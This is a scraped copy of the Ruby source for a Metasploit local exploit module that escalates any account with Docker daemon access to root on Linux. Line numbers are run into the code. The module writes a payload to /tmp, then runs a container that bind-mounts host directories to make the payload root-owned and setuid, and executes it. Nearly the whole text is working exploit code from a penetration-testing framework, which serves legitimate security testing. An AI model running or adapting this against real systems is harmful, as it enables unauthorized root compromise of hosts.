Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Linux::Priv10include Msf::Post::Linux::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info={})16super(update_info(info, {17'Name' => 'Docker Daemon Privilege Escalation',18'Description' => %q{19This module obtains root privileges from any host account with access to the20Docker daemon. Usually this includes accounts in the `docker` group.21},22'License' => MSF_LICENSE,23'Author' => ['forzoni'],24'DisclosureDate' => '2016-06-28',25'Platform' => 'linux',26'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],27'Targets' => [ ['Automatic', {}] ],28'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },29'SessionTypes' => ['shell', 'meterpreter'],30'DefaultTarget' => 031}32))33register_advanced_options([34OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])35])36end3738def base_dir39datastore['WritableDir'].to_s40end4142def check43if cmd_exec('docker ps && echo true') =~ /true$/44print_good("Docker daemon is accessible.")45Exploit::CheckCode::Vulnerable46else47print_error("Failed to access Docker daemon.")48Exploit::CheckCode::Safe49end50end5152def exploit53if !datastore['ForceExploit'] && is_root?54fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')55end5657unless writable? base_dir58fail_with Failure::BadConfig, "#{base_dir} is not writable"59end6061if nosuid? base_dir62fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"63end6465pl = generate_payload_exe66exe_path = "#{base_dir}/#{rand_text_alpha(6..11)}"67print_status("Writing payload executable to '#{exe_path}'")6869write_file(exe_path, pl)70register_file_for_cleanup(exe_path)7172print_status("Executing script to create and run docker container")73vprint_status cmd_exec("chmod +x #{exe_path}")74vprint_status shell_script(exe_path)75vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")7677print_status "Waiting #{datastore['WfsDelay']}s for payload"78end7980def shell_script(exploit_path)81deps = %w(/bin /lib /lib64 /etc /usr /opt) + [base_dir]82dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")8384%Q{85IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`86EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}; chmod +x #{exploit_path}"87docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"88docker rmi -f $IMG89#{exploit_path}90}.strip.split("\n").map(&:strip).join(';')91end92end939495